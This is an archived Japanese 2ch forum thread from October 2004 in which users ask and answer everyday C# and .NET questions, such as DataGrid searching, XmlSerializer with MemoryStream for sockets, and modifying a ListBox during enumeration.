レスありがとうございます。
検索の方法はコンボボックスのテキストから
ループさせて毎回比べるようなやり方で検索しています。

for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++)
{
string s = DataGrid.Rows[i].Cells[0].Value.ToString();
int a = s.IndexOf(sStripPanel1.Text);
if (a!= -1)
{
結果表示
}
}

意味不明なことしてたらすみません。。。
RegexクラスのIsMatchでもやってみたんですけど
正規表現に使うらしい文字列?を入力するとエラーが出ました。

440:デフォルトの名無しさん
04/10/25 23:03:42
>>439
>  for (int i = 0; i <= DataGrid1.Rows.Count - 1; i++)
最後のRowはチェックしないのな。

String.IndexOfは正規表現由来のメタ文字なんか考慮しない。
"abc[def]g".IndexOf("[d")は3を返す。

//まあ相談室スレの487-488みたいなUnicode由来の(と思われる)問題はあるようだけど。

実際にsStripPanel1.TextとDataGrid.Rows[i].Cells[0].Value.ToString()を表示させてみたら?
sStripPanel1.Textが意外な文字列になってる可能性がある。
念を入れてBitConverter.ToString(Encoding.Default.GetBytes(sStripPanel1.Text))とかでバイト単位でチェックする。

441:デフォルトの名無しさん
04/10/25 23:15:18
>>440
どうもありがとうございます。
>最後のRowはチェックしないのな。
します、直します( ´Д⊂ヽ
IndexOfで普通にできるのが分かっただけでも良かったです。
たぶん自分の書いたコードが相当おかしいのが原因だと思います。。。
色々やってみます。ありがとうございましたm(_ _)m

442:デフォルトの名無しさん
04/10/25 23:30:28
非ビジュアルなコンポーネントを作りたいのですが、
書籍かWEBで適当な入門書があったら教えてください。

C#によるコンポーネントプログラミング
URLリンク(www.amazon.co.jp)
にはビジュアルなコントロールの作り方しか載っていませんでした。

よろしくお願いします。

443:デフォルトの名無しさん
04/10/26 00:06:51
>>442
そりゃ漠然としすぎてて書きようがないからじゃないかなぁ。

URLリンク(www.microsoft.com)
ms-help://MS.VSCC/MS.MSDNVS.1041/vbcon/html/vbconComponentAuthoring.htm

を参照にする。
まあ、Componentを継承させときゃいいよ、うん。

444:在日外国人参政権反対
04/10/26 00:13:31
>442
.NETライブラリみたいに複数のプログラムで使いたいってことじゃないの?

445:デフォルトの名無しさん
04/10/26 00:31:58
>>443
ありがとうございます。
ざっとみたところ、本当にComponentを継承するだけで良さそうですね。素晴らしい。

>>444
いえ、提供されているCOMがあるのですが、使い勝手がイマイチなので、
ラッパーコンポーネントを作ろうと思っています。

446:デフォルトの名無しさん
04/10/26 01:11:52
DataTableをdataGrid.DataSourceに設定して、
dataGridのセルがクリックされたときに元のDataTabeのどのRowにあたるか、
見つける方法ないですか?
ソートされちゃうと順番変わってわけわかめ。でも自動ソート機能は欲しい。


447:446
04/10/26 01:14:57
Windows.FormsのDataGridです。

448:デフォルトの名無しさん
04/10/26 01:59:00
>>446
dataGrid.DataSource.Rows[dataGird.CurrentRowIndex];

つか設計おかしいよ。順番気にしてる時点で。

449:デフォルトの名無しさん
04/10/26 02:08:15
>>448
わけあってDataGridをListViewのように使ってるんです。

で、残念ながらそのコードだと、ソート前のDataRowしか取れませんでした。


450:デフォルトの名無しさん
04/10/26 02:24:19
あー、そういうことか。
主キーのところの値が完全一致するのを探せば良いんじゃない?
//カラムの並びを入れ替えられるとお手上げかな。

451:デフォルトの名無しさん
04/10/26 02:46:42
>>450
やっぱりそういう力技しかないんですね・・・。カラムの並び替えは無しの方向でやってます。
ありがとうございました。


452:デフォルトの名無しさん
04/10/28 00:49:32
>>446
CurrencyManagerを使えばできないかな

453:デフォルトの名無しさん
04/10/28 00:56:18
ふとどぼんを見に行ったらこんなのもあったが。
URLリンク(dobon.net)

454:デフォルトの名無しさん
04/10/29 13:04:24
Socket.Send()を利用するため、XmlSerializerでシリアル化したオブジェクトをバイト配列にコンバートして
Send()につっこみたいのですが、XmlSerializerの引数はstream用でバイト配列にする方法が見つかりません。
やっぱできないのでしょうか。。。。

455:デフォルトの名無しさん
04/10/29 13:15:50
MemoryStream ms = new MemoryStream();
xmlSerializer.Serialize(ms, obj);
byte[] bytes = ms.ToArray();
socket.Send(bytes, 0, bytes.Length);

ということかな?

456:デフォルトの名無しさん
04/10/29 13:18:23
>>454
MemoryStream

457:デフォルトの名無しさん
04/10/29 13:20:12
455のsocket.Send、パラメータをStream.Writeと勘違い……。

458:454
04/10/29 14:29:46
>>455,456さん
ありがとうございます、MemoryStreamをつかうんですね
ためしてみます(`・ω・´)

459:デフォルトの名無しさん
04/10/29 22:47:34
.net2で質問なんですけど、、、
this.TopMost = !this.TopMost;
とやると常に手前にしたときにメインメニューのドロップダウンの部分が
フォームの下に隠れちゃうんですけど何がいけないんでしょうか。。。?

460:デフォルトの名無しさん
04/10/29 23:58:23
Visual Studioで使われているようなタブコントロールを作りたいのですが、
あれはSystem.Windows.Forms.TabControlからの継承で作れるものなのでしょうか。

サードパーティ製のものもあるにはあるのですが、
せっかくなので自分で作ってみたいのです。

461:在日外国人参政権反対
04/10/30 01:16:55
>460
自分で気合で描画することを進めます。

462:454
04/10/30 17:42:20
たびたびすいません、454です
>>455を参考にやってみましたが、うまくいかず(´・ω・`)

デシリアライズはこれでいいんですよ・・・ね・・・?

MemoryStream msRead = new MemoryStream();
XmlSerializer readSerializer = new XmlSerializer(typeof(Obj);
msRead.Write(byteAry,0,byteAry.Length);
Obj obj = (Obj)readSerializer.Deserialize(msRead);
msRead.Close();

463:デフォルトの名無しさん
04/10/30 17:46:03
>>462
MemoryStream msRead = new MemoryStream();
XmlSerializer readSerializer = new XmlSerializer(typeof(Obj);
msRead.Write(byteAry,0,byteAry.Length);

msRead.Position = 0;      // コレ追加よろ

Obj obj = (Obj)readSerializer.Deserialize(msRead);
msRead.Close();

464:454
04/10/30 17:52:28
>>463
おぉぉ、うまくいったー
ありがとうございます
Position指定必要だったんですね・・・・まったく気づかなかった(つД`)

465:デフォルトの名無しさん
04/10/30 18:26:25
>>461
ちまちまやってみますわ。

.net 2.0になっても各種コントロールはショボイままだった…。
幾つか良くなったのもあるけど。

466:デフォルトの名無しさん
04/10/30 21:12:36
CSVから読み込んで、datasetに収まってる
7995.005229
とかを少数以下は無視していいのでintにしたいのですがどうすればいいですか?
Convert.Tointが使えなくて困ってます。(少数いかにも数字があるから?)

467:デフォルトの名無しさん
04/10/30 21:14:38
>>466
doubleにしてからintに落とせば?

468:デフォルトの名無しさん
04/10/30 21:16:36
>>465
基本的に言語のライブラリはOSが提供するUIに口出ししないし、するべきではありません。
そういうのはサードパーティの仕事です。

469:デフォルトの名無しさん
04/10/30 21:21:44
そのサードパーティのライブラリでよく使われる?ActiveReport
やFlexGridなどの解説本を探してみたのだが、全然見つからないね。

ヘルプだけ見て使いこなせということなんだろうか。


470:466
04/10/30 22:10:21
>>467
いけました。ありがとうございました

471:デフォルトの名無しさん
04/10/30 23:28:29
>>468
まぁ今の".NET Framework"はそうかもしれないけど、
いずれWindowsのAPIになっていくわけでしょ。

そうするとやっぱりWindowsが提供するネイティブコントロールは
しょぼいってことになるわけで、そろそろどうにかならないものかとは思う。

472:デフォルトの名無しさん
04/10/30 23:36:02
>>469
VS標準のCrystalReportも日本語だとあまり情報ないよね。

仕事で作るような帳票類はGDIでゴリゴリ書いてる時間ないから
しかたなく使ってるけど、正直"たぶんこうやって使うんだろう"の世界。

473:在日外国人参政権反対
04/10/30 23:48:30
>468
Windows.Formsにまとめてるのはその意図を汲んでのことだろう。
だからこそそれを拡充させてほしい気はする。

474:デフォルトの名無しさん
04/10/30 23:58:33
リストボックスから条件に見合ったオブジェクトを削除したいのですが、

foreach ( UserList logoutUser in listBox1.Items )
{
if ( recMessage.TargetUserID == logoutUser.UserGuid )
{
listBox1.Items.Remove(logout);
}
}

と書くと

System.InvalidOperationException:
この列挙子が連結されている一覧は変更されています。
列挙子は、一覧が変更しない場合に限り使用できます。

とゴルァされるのですが、いい方法ないでしょうか・・・。

475:デフォルトの名無しさん
04/10/31 00:01:00
あ、最後のところRemove(logoutUser)でつ

476:デフォルトの名無しさん
04/10/31 00:04:54
そりゃ列挙中に肝心の列挙するコレクションが変わってしまっては話にならないだろ。
forで回してやるとかしな。

477:474
04/10/31 00:13:16
ありがとうございました。
1回ブツが釣れれば十分なのでbreakかましたらうまくいきました

吊ってきますorz

478:デフォルトの名無しさん
04/10/31 12:12:15
「すれ立てるまでもない質問・・・」に書き込んだら怒られてしまいました。
同じ内容ですが、こちらに書かせてください。

VS.NetのC#でプログラム作ってるんですが、データセットから
テキストボックスにバインドする方法が分からないんです。
といっても、よくあるデータテーブルの列単位でバインドするやり方ではなくて
データテーブルのある条件に合致するレコードの項目をバインドしたいんです。

例えば

Key 列1    列2
001 1AAA 1BBB
002 2AAA 2BBB
003 3AAA 3BBB
004 4AAA 4BBB
005 5AAA 5BBB

みたいなデータテーブルから、TextBoxにはKey=003の条件によって
列1の内容(3AAA)をバインドしたいんです。
もちろん、バインドするからには変更結果も反映されていてほしいんですが・・・

お願いします。


479:デフォルトの名無しさん
04/10/31 18:21:08
ふと思ったんですけど、

using System.Windows.Forms;

という感じにしておいた部分を

using System.Windows.NewForms;

とかに書き換えることで、クラス構成をそっくり新しくする事って邪道ですか?

480:デフォルトの名無しさん
04/10/31 18:22:36
オレ的には邪道

481:デフォルトの名無しさん
04/10/31 19:07:04
>>479
その場合、

using System.Windows.Forms;

using No479.Windows.Forms;

みたいに企業名(Systemの部分)を変えたほうがいいんじゃないか。

URLリンク(www.microsoft.com)

482:479
04/10/31 19:11:46
>>481
ちゃうちゃう

System.Windows.Forms と System.Windows.NetForms の中に、
型は同じだけど挙動の異なるクラスがあったときに、
using 文でどちらを採用するか切り替えるのは邪道かな?って事

483:479
04/10/31 19:12:21
>>482
別に名前空間名はなんだって良いんだが


次ページ
最新レス表示
スレッドの検索
類似スレ一覧
話題のニュース
おまかせリスト
▼オプションを表示
暇つぶし2ch

5311日前に更新/230 KB
担当:undef